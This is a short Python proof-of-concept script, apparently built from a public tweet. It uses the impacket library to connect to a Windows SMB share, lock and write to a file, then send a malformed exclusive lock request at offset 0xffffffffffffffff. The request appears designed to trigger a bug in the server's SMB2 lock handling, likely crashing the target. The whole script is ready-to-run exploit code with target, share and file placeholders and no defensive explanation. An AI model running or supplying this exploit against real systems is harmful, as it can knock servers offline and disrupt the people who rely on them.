# Based on https://twitter.com/dlitchfield/status/714815748280094720
# git clone latest impacket (https://github.com/CoreSecurity/impacket)

from impacket.smbconnection import SMBConnection
from impacket.smb3 import GENERIC_READ, GENERIC_WRITE, FILE_OPEN, SMB2_LOCK_ELEMENT, SMB2_LOCKFLAG_EXCLUSIVE_LOCK, \
    SMB2_DIALECT_002, SMB2_LOCKFLAG_SHARED_LOCK, SMB2_LOCKFLAG_FAIL_IMMEDIATELY, SMB2_LOCKFLAG_UNLOCK

USERNAME = ''
PASSWORD = ''
TARGET = '192.168.1.1'
# Share accessible by user
TARGETSHARE = 'C$'
# Target file must exist
TARGETFILE = 'hello.txt'

s = SMBConnection(TARGET, TARGET, preferredDialect=SMB2_DIALECT_002)

s.login(USERNAME, PASSWORD)

tid = s.connectTree(TARGETSHARE)
hFile = s.createFile(tid, TARGETFILE, GENERIC_READ|GENERIC_WRITE, 0, creationDisposition=FILE_OPEN)

smb2Connection = s.getSMBServer()

lockElement = SMB2_LOCK_ELEMENT()
lockElement['Offset'] = 0
lockElement['Length'] = 1024
lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
lockElement['Reserved'] = 0

smb2Connection.lock(tid, hFile, (lockElement,))

smb2Connection.write(tid, hFile, 'XXXXXX', 0, 6)

lockElement = SMB2_LOCK_ELEMENT()
lockElement['Offset'] = 0xffffffffffffffff
lockElement['Length'] = 1024
lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
lockElement['Reserved'] = 0

smb2Connection.lock(tid, hFile, (lockElement,))

smb2Connection.close(tid, hFile)

s.logoff()